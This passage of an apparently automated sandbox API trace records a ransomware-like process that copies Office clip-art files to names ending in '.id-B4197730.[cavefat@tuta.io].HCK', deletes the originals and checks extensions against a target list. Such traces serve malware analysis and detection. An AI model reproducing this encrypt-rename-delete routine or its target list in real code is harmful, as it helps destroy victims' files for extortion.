(in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.926] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.926] SetEndOfFile (hFile=0x388) returned 1 [0166.932] CloseHandle (hObject=0x388) returned 1 [0166.935] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.935] SetEndOfFile (hFile=0x354) returned 1 [0166.942] CloseHandle (hObject=0x354) returned 1 [0166.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0166.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.952] lstrlenW (lpString=".doc") returned 4 [0166.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.952] lstrlenW (lpString=".docx") returned 5 [0166.952] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.952] lstrlenW (lpString=".pdf") returned 4 [0166.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.952] lstrlenW (lpString=".xls") returned 4 [0166.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.952] lstrlenW (lpString=".xlsx") returned 5 [0166.952] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.952] lstrlenW (lpString=".ppt") returned 4 [0166.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.952] lstrlenW (lpString=".zip") returned 4 [0166.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.952] lstrlenW (lpString=".rar") returned 4 [0166.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.952] lstrlenW (lpString=".bz2") returned 4 [0166.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.952] lstrlenW (lpString=".7z") returned 3 [0166.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.952] lstrlenW (lpString=".dbf") returned 4 [0166.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.952] lstrlenW (lpString=".1cd") returned 4 [0166.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.952] lstrlenW (lpString=".jpg") returned 4 [0166.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.952] lstrlenW (lpString=".doc") returned 4 [0166.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.952] lstrlenW (lpString=".docx") returned 5 [0166.952] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.952] lstrlenW (lpString=".pdf") returned 4 [0166.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.952] lstrlenW (lpString=".xls") returned 4 [0166.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.953] lstrlenW (lpString=".xlsx") returned 5 [0166.953] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.953] lstrlenW (lpString=".ppt") returned 4 [0166.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.953] lstrlenW (lpString=".zip") returned 4 [0166.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.953] lstrlenW (lpString=".rar") returned 4 [0166.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.953] lstrlenW (lpString=".bz2") returned 4 [0166.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.953] lstrlenW (lpString=".7z") returned 3 [0166.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.953] lstrlenW (lpString=".dbf") returned 4 [0166.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.953] lstrlenW (lpString=".1cd") returned 4 [0166.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0166.953] lstrlenW (lpString=".jpg") returned 4 [0166.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.953] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.953] lstrlenW (lpString="J0105846.WMF") returned 12 [0166.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0166.964] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8240) returned 1 [0166.964] CloseHandle (hObject=0x308) returned 1 [0166.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220 [0166.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0166.984] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.984] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0166.991] GetLastError () returned 0x0 [0166.991] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2030, lpOverlapped=0x0) returned 1 [0166.995] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2040, lpOverlapped=0x0) returned 1 [0166.995] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.995] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.995] SetEndOfFile (hFile=0x354) returned 1 [0167.003] CloseHandle (hObject=0x354) returned 1 [0167.005] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.005] SetEndOfFile (hFile=0x330) returned 1 [0167.010] CloseHandle (hObject=0x330) returned 1 [0167.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0167.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.014] lstrlenW (lpString=".doc") returned 4 [0167.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.014] lstrlenW (lpString=".docx") returned 5 [0167.015] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.015] lstrlenW (lpString=".pdf") returned 4 [0167.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.015] lstrlenW (lpString=".xls") returned 4 [0167.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.015] lstrlenW (lpString=".xlsx") returned 5 [0167.015] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.015] lstrlenW (lpString=".ppt") returned 4 [0167.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.015] lstrlenW (lpString=".zip") returned 4 [0167.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.015] lstrlenW (lpString=".rar") returned 4 [0167.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.015] lstrlenW (lpString=".bz2") returned 4 [0167.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.015] lstrlenW (lpString=".7z") returned 3 [0167.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.015] lstrlenW (lpString=".dbf") returned 4 [0167.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.015] lstrlenW (lpString=".1cd") returned 4 [0167.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.015] lstrlenW (lpString=".jpg") returned 4 [0167.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.015] lstrlenW (lpString=".doc") returned 4 [0167.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.015] lstrlenW (lpString=".docx") returned 5 [0167.015] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.015] lstrlenW (lpString=".pdf") returned 4 [0167.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.015] lstrlenW (lpString=".xls") returned 4 [0167.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.015] lstrlenW (lpString=".xlsx") returned 5 [0167.015] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.015] lstrlenW (lpString=".ppt") returned 4 [0167.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.015] lstrlenW (lpString=".zip") returned 4 [0167.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.016] lstrlenW (lpString=".rar") returned 4 [0167.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.016] lstrlenW (lpString=".bz2") returned 4 [0167.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.016] lstrlenW (lpString=".7z") returned 3 [0167.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.016] lstrlenW (lpString=".dbf") returned 4 [0167.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.016] lstrlenW (lpString=".1cd") returned 4 [0167.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0167.016] lstrlenW (lpString=".jpg") returned 4 [0167.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.016] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.016] lstrlenW (lpString="J0106124.WMF") returned 12 [0167.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.018] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5812) returned 1 [0167.018] CloseHandle (hObject=0x2ec) returned 1 [0167.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220 [0167.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.041] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.041] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.056] GetLastError () returned 0x0 [0167.056] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x16b4, lpOverlapped=0x0) returned 1 [0167.058] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x16c0, lpOverlapped=0x0) returned 1 [0167.058] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.059] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.059] SetEndOfFile (hFile=0x370) returned 1 [0167.066] CloseHandle (hObject=0x370) returned 1 [0167.067] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.067] SetEndOfFile (hFile=0x354) returned 1 [0167.074] CloseHandle (hObject=0x354) returned 1 [0167.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0167.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.083] lstrlenW (lpString=".doc") returned 4 [0167.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.083] lstrlenW (lpString=".docx") returned 5 [0167.083] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.083] lstrlenW (lpString=".pdf") returned 4 [0167.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.083] lstrlenW (lpString=".xls") returned 4 [0167.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.083] lstrlenW (lpString=".xlsx") returned 5 [0167.083] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.083] lstrlenW (lpString=".ppt") returned 4 [0167.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.083] lstrlenW (lpString=".zip") returned 4 [0167.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.083] lstrlenW (lpString=".rar") returned 4 [0167.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.083] lstrlenW (lpString=".bz2") returned 4 [0167.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.083] lstrlenW (lpString=".7z") returned 3 [0167.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.083] lstrlenW (lpString=".dbf") returned 4 [0167.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.083] lstrlenW (lpString=".1cd") returned 4 [0167.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.083] lstrlenW (lpString=".jpg") returned 4 [0167.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.083] lstrlenW (lpString=".doc") returned 4 [0167.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.083] lstrlenW (lpString=".docx") returned 5 [0167.084] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.084] lstrlenW (lpString=".pdf") returned 4 [0167.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.084] lstrlenW (lpString=".xls") returned 4 [0167.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.084] lstrlenW (lpString=".xlsx") returned 5 [0167.084] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.084] lstrlenW (lpString=".ppt") returned 4 [0167.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.084] lstrlenW (lpString=".zip") returned 4 [0167.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.084] lstrlenW (lpString=".rar") returned 4 [0167.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.084] lstrlenW (lpString=".bz2") returned 4 [0167.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.084] lstrlenW (lpString=".7z") returned 3 [0167.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.084] lstrlenW (lpString=".dbf") returned 4 [0167.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.084] lstrlenW (lpString=".1cd") returned 4 [0167.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0167.084] lstrlenW (lpString=".jpg") returned 4 [0167.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.084] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.084] lstrlenW (lpString="J0106572.WMF") returned 12 [0167.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0167.088] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2148) returned 1 [0167.088] CloseHandle (hObject=0x2f4) returned 1 [0167.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220 [0167.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.132] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.132] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.145] GetLastError () returned 0x0 [0167.145] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x864, lpOverlapped=0x0) returned 1 [0167.150] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x870, lpOverlapped=0x0) returned 1 [0167.151] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.151] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.151] SetEndOfFile (hFile=0x354) returned 1 [0167.165] CloseHandle (hObject=0x354) returned 1 [0167.167] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, 